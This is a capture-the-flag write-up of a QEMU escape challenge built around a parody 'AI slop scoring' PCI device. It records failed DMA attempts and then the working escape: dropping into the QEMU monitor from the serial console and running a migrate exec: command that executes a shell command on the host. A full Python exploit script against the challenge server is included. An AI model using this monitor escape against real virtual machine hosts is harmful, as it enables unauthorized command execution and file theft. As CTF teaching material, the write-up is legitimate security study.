Overview
SlopGate presents as a QEMU escape challenge. We're given a custom QEMU build with a
proprietary PCI device called "SlopGate" (vendor ID QEMU, device ID 0x11e9). A
minimal Linux guest boots inside QEMU; through a TCP service we authenticate via
hashcash PoW, get a busybox shell, and must read /app/flag.txt on the QEMU host.
The PCI device advertises itself as a "stream scoring accelerator" - it scores
text streams for AI-generated slop using metrics like "as an AI" frequency,
boilerplate detection, and flag{ substring counting. It supports DMA, context
XOR primitives, and a profile system with configurable modes.
Initial Recon
QEMU Device Layout
The SlopGate PCI device exposes an MMIO BAR at 0xfebfe000. Key registers:
| Offset | Name | Description |
|---|---|---|
| 0x00 | MAGIC | Always 0x534c4f50 |
| 0x0c | CONTROL | Enable, IRQ, Auto-process |
| 0x10 | Q_BASE | Queue descriptor phys addr |
| 0x18 | Q_SIZE | Queue entry count |
| 0x20 | Q_TAIL | Enqueue by writing here |
| 0x24 | PROFILE_CMD | Enable/rebuild context |
| 0x30 | PROFILE_MODE | Scoring mode 0-4 |
| 0x50 | IRQ_STATUS | Complete/Error bits |
The queue model is descriptor-based: write Q_BASE (physical address of guest-allocated descriptor array), Q_SIZE, then write Q_TAIL to submit work. Each descriptor (60 bytes) points to a request structure (44 bytes), response buffer, and optional stream data - all via physical addresses.
DMA Operations
The device performs pci_dma_read/pci_dma_write to access guest-physical
memory. All lengths are properly clamped (MIN(len, SLOPGATE_MAX_STREAM)),
and the device uses a guarded bottom-half for processing, preventing
timestamp counter attacks and MMIO re-entrancy.
Scoring Modes
The scoring function is an elaborate parody of AI content detection:
- Mode 0: length_bucket + salt, light phrase matching
- Mode 1: heavy "as an AI" / "I cannot" penalties
- Mode 2: repeated window/word detection
- Mode 3:
flag{substring detection × 12 - Mode 4: uniform multiplier across all metrics
Context can be XOR-modified based on (flags ^ stream_len ^ processed ^ score ^ ...), essentially a controlled, in-bounds byte XOR against a deterministic seed buffer.
The Red Herring (3 hours)
I spent approximately 3 hours chasing a DMA exploitation path:
1/7PCI bus master enabling
The device initially returned ERROR on
every DMA operation. Setting PCI config space COMMAND register to 0x0007
(IO + MEM + BUS_MASTER) via /sys/devices/pci0000:00/0000:00:02.0/config
fixed this.
2/7Pagemap translation
DMA uses physical addresses, not virtual. Spent
significant time debugging assembly pagemap translation (PFN mask should be
0xFFFFFFFFFF for 40-bit physical addresses, not 0x7FFFFFFFFFFF).
3/7Page alignment bugs
mmap'd pages aren't physically contiguous. Response buffers crossing page boundaries got wrong physical addresses.
4/7Assembly register clobbers
Wrote ~15 iterations of assembly exploits with bugs in print routines, 64-bit immediate loading, and label numbering.
5/7Scanning guest RAM
Scanned 0-128MB of guest physical address space looking for the flag. Scores were always 0x0b (noise floor: length_bucket=8
- salt=3). The flag was never in guest RAM - it's on the QEMU host filesystem.
6/7Attempted OOB DMA
Tried reading above 128MB (into QEMU host memory). TCG properly bounds-checks against the memory region tree; reads to unmapped addresses returned zeros.
7/7Context XOR corruption
Verified the XOR works (can read context, observe XOR effects), but it's strictly in-bounds and modifies a seed-derived buffer - not useful for anything beyond proof-of-concept.
The Real Vulnerability
The serial console runs without -no-shutdown or monitor restrictions. Simply
sending Ctrl-A C (0x01 followed by 'c') drops into the QEMU Monitor (HMP),
and from there the migrate command's exec: URI scheme spawns a subprocess
on the host and pipes its stderr straight to the serial console:
$echo -e '\x01c' > /dev/ttyS0 QEMU 11.1.0 monitor - type 'help' for more information $migrate "exec:cat /app/flag.txt >&2" kaspersky{I_th1nk_w3_b0th_g0t_dumb3r_wh1l3_s0lvin6_this_t4sk} qemu-system-x86_64: failed to save SaveStateEntry...
Insight
migrate exec: is meant for migrating a VM's state through an external
helper process. Critically, that subprocess runs as the QEMU user on the
host, and its stderr is connected to QEMU's own stderr - which is the
serial console we already control from inside the guest.
Exploit
Single command from the QEMU monitor:
migrate "exec:cat /app/flag.txt >&2"
This:
- Shells out to
/bin/sh -c "cat /app/flag.txt >&2" - The flag is printed to stderr
- stderr is connected to the serial console → we see the flag
- The migration itself fails (qemu expects a migration stream, not "kaspersky{...}"), but the flag is already captured
Full Exploit Script
Show the full exploit script
1import socket, subprocess, time, re, concurrent.futures
2
3IP = "84.201.150.184"
4PORT = 31338
5
6sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7sock.settimeout(10)
8sock.connect((IP, PORT))
9
10# Read PoW challenge
11data = b''
12while b'token:' not in data:
13 data += sock.recv(4096)
14
15# Solve PoW
16m = re.search(r'hashcash -mb(\d+) (\S+)', data.decode())
17with concurrent.futures.ThreadPoolExecutor() as ex:
18 f = ex.submit(lambda: subprocess.run(
19 ['hashcash', f'-mb{m.group(1)}', m.group(2)],
20 capture_output=True, text=True, timeout=300).stdout.strip())
21 token = f.result(timeout=300)
22
23sock.sendall((token + '\n').encode())
24
25# Wait for shell
26while True:
27 c = sock.recv(4096)
28 if not c: break
29 if b'# ' in c: break
30
31# Enter QEMU monitor (Ctrl-A C)
32sock.sendall(b'\x01c')
33time.sleep(0.3)
34
35# Exploit: migrate exec with flag output to stderr
36sock.sendall(b'migrate "exec:cat /app/flag.txt >&2"\n')
37time.sleep(0.5)
38
39# Back to console
40sock.sendall(b'\x01c')
41time.sleep(0.3)
42sock.sendall(b'echo DONE\n')
43time.sleep(0.5)
44
45# Read output
46out = b''
47try:
48 while True:
49 c = sock.recv(8192)
50 if not c: break
51 out += c
52except: pass
53
54print(out.decode(errors='replace'))
Output:
migrate "exec:cat /app/flag.txt >&2"
kaspersky{I_th1nk_w3_b0th_g0t_dumb3r_wh1l3_s0lvin6_this_t4sk}
qemu-system-x86_64: failed to save SaveStateEntry...
Lessons Learned
Check the monitor first. QEMU challenges often disable the monitor with
-monitor none, but when they don't,migrate exec:is an instant win. Look for-no-shutdown,-monitor,-serial mon:stdioflags.Device complexity is distraction. The SlopGate PCI device has hundreds of lines of scoring logic, context XOR primitives, profile management - all perfectly hardened and completely irrelevant to the intended solution. CTF authors love this trick.
Bus mastering matters.
pci_dma_read/pci_dma_writesilently fail without the bus master bit set in PCI config. Always check command register.Assembly is brittle. Writing pure assembly exploits saves transfer size but the debugging cost is enormous. For CTFs with reasonable binary size limits, use C with
-nostdliband syscall wrappers.Claude is useful for source audit. Asking Claude Code to audit the device source confirmed there was no OOB vulnerability, saving further time on the DMA dead-end.
Files
slopgate-core.c, QEMU device: scoring, context, DMAslopgate-pci.c, PCI transport: MMIO, queue managementslopgate.h, Register definitions, descriptor/request/response layoutsrun.sh, QEMU command line (no-monitor none!)Dockerfile, Flag at/app/flag.txt, chmod 0444